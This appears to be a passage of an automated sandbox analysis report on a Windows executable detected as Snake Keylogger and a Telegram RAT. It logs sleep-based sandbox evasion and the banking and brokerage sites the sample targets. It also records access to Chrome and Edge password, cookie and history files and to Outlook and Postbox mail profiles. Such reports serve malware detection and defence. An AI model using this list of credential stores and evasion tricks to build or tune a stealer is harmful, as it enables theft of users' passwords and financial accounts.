Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 598891	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 598563	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 598438	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 598313	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 598188	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 598078	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 597969	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 597844	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 595859	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 595750	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 595640	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 595531	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 595422	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 595313	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 595188	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 594968	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 594855	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 594750	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 594640	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 594523	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 594422	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 594313	Jump to behavior

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Window / User API: threadDelayed 8377			Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Window / User API: threadDelayed 1454			Jump to behavior

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nst7D0.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe

API coverage: 1.7 %

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -28592453314249787s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7556	Thread sleep count: 8377 > 30	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7556	Thread sleep count: 1454 > 30	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -599438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -599219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -599000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -598891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -598781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -598672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -598563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -598438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -598313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -598188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -598078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -597969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -597844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -597735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -597610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -597485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -597360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -597235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -597110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -596985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -596860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -596735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -596610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -596485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -596360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -596235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -596110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -595985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -595859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -595750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -595640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -595531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -595422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -595313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -595188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -595078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -594968s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -594855s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -594750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -594640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -594523s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -594422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe TID: 7552	Thread sleep time: -594313s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 0_2_0040276E FindFirstFileW,	0_2_0040276E
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 0_2_00405770 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405770
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 0_2_0040622B FindFirstFileW,FindClose,	0_2_0040622B
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_0040276E FindFirstFileW,	7_2_0040276E
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_00405770 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	7_2_00405770
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_0040622B FindFirstFileW,FindClose,	7_2_0040622B

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 598891	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 598563	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 598438	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 598313	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 598188	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 598078	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 597969	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 597844	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 595859	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 595750	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 595640	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 595531	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 595422	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 595313	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 595188	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 594968	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 594855	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 594750	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 594640	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 594523	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 594422	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Thread delayed: delay time: 594313	Jump to behavior

Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.00000000345DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.00000000345DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.00000000345DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.00000000345DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.00000000345DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.00000000345DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.00000000345DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: GBYfjUz4a5.exe, 00000007.00000002.2482541121.0000000002F38000.00000004.00000020.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000002.2482541121.0000000002F90000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.00000000345DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.00000000345DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.00000000345DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.00000000345DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.00000000345DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.00000000345DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.00000000345DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.00000000345DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.00000000345DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.00000000345DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.00000000345DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.00000000345DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.00000000345DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.00000000345DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.00000000345DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.00000000345DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.00000000345DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.00000000345DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.00000000345DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.00000000345DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.00000000345DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.00000000345DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.00000000345DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.00000000345DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	API call chain: ExitProcess graph end node			graph_0-4509
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	API call chain: ExitProcess graph end node			graph_0-4515

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe

Code function: 7_2_02BD3E09 rdtsc

7_2_02BD3E09

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe

Code function: 0_2_00406252 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406252

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe

Process created: C:\Users\user\Desktop\GBYfjUz4a5.exe "C:\Users\user\Desktop\GBYfjUz4a5.exe"

Jump to behavior

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Queries volume information: C:\Users\user\Desktop\GBYfjUz4a5.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe

Code function: 0_2_00405F0A GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00405F0A

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000007.00000002.2505203474.0000000033361000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: GBYfjUz4a5.exe PID: 7312, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match

File source: Process Memory Space: GBYfjUz4a5.exe PID: 7312, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000007.00000002.2505203474.0000000033361000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: GBYfjUz4a5.exe PID: 7312, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
